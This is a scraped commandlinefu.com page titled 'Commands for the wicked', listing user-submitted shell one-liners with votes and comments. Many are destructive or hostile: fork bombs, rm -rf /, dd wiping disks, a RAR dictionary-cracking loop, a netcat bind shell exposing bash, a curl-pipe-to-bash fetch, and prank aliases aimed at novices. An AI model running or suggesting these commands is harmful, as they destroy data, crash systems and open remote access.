Hide

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again.

Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.


If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/

Get involved!

You can sign-in using OpenID credentials, or register a traditional username and password.

First-time OpenID users will be automatically assigned a username which can be changed after signing in.

Hide

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

Hide

News

2012-05-20 - test
test
2012-05-20 - test
test
2012-05-20 - test
test
2012-05-20 - Test tweets
YU not working?
Hide

Tags

Hide

Functions

Commands for the wicked

Commands for the wicked from sorted by
Terminal - Commands for the wicked - 51 results
nmap -sP 192.168.0.*
2009-08-31 12:10:16
User: dotanmazor
18

There are several other options. This one is plain and simple.

Another option is:

nmap -sP 192.168.0.0/24

curl http://flip-edesign.com/scripts/system_info | bash
2009-08-29 20:18:02
User: flip387
-5

This is a simple BASH script which with gather basic system hardware such as CPU sockets and cores, Memory modules and sizes as well as overall memory and more.

Root access may be needed to pull information from 'dmidecode'

for i in $(cat dict.txt);do unrar e -p$i protected.rar; if [ $? = 0 ];then echo "Passwd Found: $i";break;fi;done
2009-07-05 02:36:40
User: ksaver
Functions: cat echo
22

Cracking a password protected .rar file in a line, by dictionary attack method. All you need is a good dictionary (dict.txt).

yes `yes`
:(){ :|:& };:
sudo make me a sandwich
press the power button
2009-03-23 09:02:07
User: maht
-85

Judging by the quality of suggestions lately I thought I'd better join in

b=\' c=\\ a='yes $( echo b=$c$b c=$c$c a=$b$a$b; echo $a ) | bash &'; yes $( echo b=$c$b c=$c$c a=$b$a$b; echo $a ) | bash &
:(){ :|:& };:
:(){ :|:& };:
nc -vv -l -p 1234 -e /bin/bash
2009-02-19 13:20:33
User: PeekNPoke
37

This will launch a listener on the machine that will wait for a connection on port 1234. When you connect from a remote machine with something like :

nc 192.168.0.1 1234

You will have console access to the machine through bash.

:(){ :|:&};:
2009-02-18 22:37:21
User: jaq
-41

Now try to recover without rebooting, for an extra 10 points.

:(){:|:&};:
2009-02-18 16:39:27
User: TheBunman
-34

This command is a fork bomb! Proceed with caution. ;)

:(){ :|:& };:
2009-02-18 03:24:06
User: zakmo
-27

creates a large number of processes very quickly in order to overload an OS

to stop this bomb in about 45 sec.

Type: while (sleep 100 &!) do; done

or do a killall

rm -rf /*
2009-02-17 19:57:03
User: guidouil
Functions: rm
-78

A common typo from the PFY (the key's are like right next to each others).

[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo *Click*
dd if=/dev/zero of=/dev/hda
2009-02-16 00:04:23
User: cd
Functions: dd
-2

This will completely erase everything on your hard drive and is not reversible.

echo "shutdown -r now" >> /etc/rc.local
2009-02-11 05:10:32
User: fmdlc
Functions: echo
-54

It's reboot the machine when the machin is started :) is funny for use

with n00bs

sh ~/.bash_history > /dev/null 2>&1
2009-02-11 04:45:33
User: fmdlc
Functions: sh
-34

It's a funny command what execute all the file ~/.bash_history

bomb(){ bomb|bomb };bomb
for disk in /dev/sd*; sudo dd if=/dev/urandom of=$disk; done
2009-02-05 22:05:46
User: HansReiser
Functions: dd sudo
-38

Alternatively, run as root and take out the sudo.

!whatever:p
2009-02-05 21:39:39
User: jonty
196

!whatever will search your command history and execute the first command that matches 'whatever'. If you don't feel safe doing this put :p on the end to print without executing. Recommended when running as superuser.

watch -d -n 2 'df; ls -FlAt;'
alias emacs='rm -rf ~/'
sudo rm -rf /